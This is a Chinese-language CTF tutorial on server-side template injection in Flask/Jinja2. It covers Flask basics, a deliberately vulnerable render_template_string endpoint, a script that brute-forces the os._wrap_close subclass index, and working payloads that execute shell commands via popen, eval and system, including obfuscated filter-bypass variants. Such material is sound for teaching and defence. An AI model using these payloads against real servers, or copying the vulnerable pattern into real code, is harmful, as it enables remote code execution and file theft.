一、什么是Flask:
flask是目前python主流的一个web微框架,通过flask框架我们可以利用python语言搭建起web服务,详细请见flask官网
二、flask搭建网站样例:
源码如下:
from flask import Flask from flask import jsonify from flask import request app = Flask(__name__) @app.route('/') def hello(): return 'I love CTF!' @app.route('/value',methods=['GET', 'POST']) def value(): if request.method == "GET": return 'key='+str(request.args.get('key')) else: return "error: 请分别以 GET 和 POST 提交参数" if __name__ == '__main__': app.run(host="0.0.0.0",port=8888,debug=True) # 以调试模式启动,host=0.0.0.0 ,则可以使用127.0.0.1、localhost以及本机ip来访问
源码讲解:
app.route(rule, options) 此函数代表路由,将路径与接下来的函数绑定
rule : 要绑定的URL路径
options: 是要转发给基础Rule对象的参数列表,可以为get或post方法在上面的示例中,’/ ’ URL与hello_world()函数绑定。因此,当在浏览器中打开web服务器的主页时,将呈现该函数的输出。
app.run(host, port, debug, options) 此函数用于网站启动配置
host:要监听的主机名。 默认为127.0.0.1(localhost)。设置为“0.0.0.0”以使服务器在外部可用
port :默认值为5000
debug:默认为false。 如果设置为true,则提供调试信息,可以自动重载代码并显示调试信息
options:要转发到底层的Werkzeug服务器
request.args.get('key')
获取 get表单的参数,这里是获得 key 的键值
获取表单值的函数还有 CET方式: request.form.get("key", type=str, default=None) # 获取表单数据 request.args.get("key") # 获取get请求参数 request.values.get("key") # 获取所有参数 POST方式: request.form.get('key') request.form['key']
访问结果:
这里我们访问的路径是 /value 调用路由 @app.route('/value',methods=['GET', 'POST'])
并且GET传参key为“I love CTF !”,该路由下的函数会return key的值
三、模版注入预备知识:
记住这句话 “Python中一切皆对象”
一个字符串,一个函数,一个实例化的类等都可以被看做对象
1、对象的默认属性方法:
__class__ //列出当前对象的所属的类 __bases__ //列出当前类所有直接父类,并以元组形式返回 __mro__ //列出解析方法调用类的顺序,包含祖先类 __subclasses__() //以返回类的子类的列表 Python中对象的属性和方法都可用 . 号访问
例如:
class Animal: pass class Dog(Animal): pass a=Dog() print(a.__class__) print(a.__class__.__bases__) print(a.__class__.__mro__) print(a.__class__.__bases__[0].__subclasses__()) >>> <class '__main__.Dog'> 对象所属的类 >>> (<class '__main__.Animal'>,) 类的直接父类组成的元组 >>> (<class '__main__.Dog'>, <class '__main__.Animal'>, <class 'object'>) //类的调用过程中所有的类,包括祖先类 >>> [<class '__main__.Dog'>] Animal类子类的列表
2、object类:
在Python中,
object
类是所有类的基类,也被称为顶层基类。它定义了一些通用的方法和属性,这些方法和属性可以被所有子类继承和使用。如果一个类没有指定自己的基类,那么默认就会继承自object
类(也就是所任何类追溯到源头基类都是object类)
object类可调用python中任何原生的类,任何类都是它的子类
3、Jinja2模版引擎渲染:
什么是模版引擎请参考博主的这篇文章
Jinja2是flask框架自带的模版引擎
0x1:render_template 渲染:
前端:
前端人员只需用 {{}} 代替获取后端变量的代码即可,Jinja2模版引擎会自动渲染更新变量
<html> <h1>{{title}}</h1> <body> <a>Hello, {{name}}!</a> </body> </html>
后端:
from flask import render_template from flask import Flask app = Flask(__name__) @app.route('/') #我们访问/会跳转 def index(): title="Flak框架测试" #传入标题 user = "ELITE" #传入用户名 return render_template("index.html",title=title,name=user) if __name__ == '__main__': app.run(host="0.0.0.0",port=8888,debug=True)
- 此函数会自动把我们传入或定义好的变量渲染到html文件中被{{}}标记的变量中
- 该函数使用规定好的模板文件进行渲染,并不会产生注入
- 需要将要渲染的html文件放入同目录下的templates文件夹
结果为:
0x2:render_template_string 渲染(SSTI有关函数):
后端:
from flask import render_template from flask import render_template_string from flask import request from flask import Flask app = Flask(__name__) @app.route('/test',methods=['GET']) def test(): template = ''' <div class="center-content error"> <h1>Oops! That page doesn't exist.</h1> <h3>%s</h3> </div> ''' %(request.url) return render_template_string(template) if __name__ == '__main__': app.run(host="0.0.0.0",port=8888,debug=True)
该函数将渲染模版直接写入当前Python文件中,可通过render_template_string函数造成模板注入
render_template_string函数在渲染模板的时候使用了%s来动态的替换,在渲染的时候会把 {{}} 包裹的内容当做变量解析替换,注入正是因此引起
结果为:
四、注入讲解(os._wrap_close 类为例):
我们可以根据上文的 __class__,__mro__,__bases__等默认属性,调用出object类的,并使用__subclasses__()方法(返回值为该环境下所有类的列表),我们可以从中选择含有可以用方法的类,然后调用,传入payload
1、获取该类在当前环境的数组下标
脚本为:
import requests from tqdm import tqdm for i in tqdm(range(233)): url = 'url/?变量={{%22%22.__class__.__bases__[0].__subclasses__()['+str(i)+']}}' r = requests.get(url=url).text if('os._wrap_close' in r): print(i)
2、构造payload
这里os._wrap_close 类的数组下标为 132
payload为:
1、查看类中的可利用方法
{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__}}
2、利用popen()方法
{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}
payload讲解:
__class__.__bases__[0] 代表object基类 __subclasses__()[132] 代表object子类集合中的第132个类(os._wrap_close) __init__ 初始化os._wrap_close类 __globals__ 返回os._wrap_close类中所有的方法及属性 __globals__['popen'] 调用该类的popen方法,该方法可执行传入的shell命令 read() 读取输出命令执行结果
3、一些常用的绕过姿势:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )}} {{object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')}} {{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}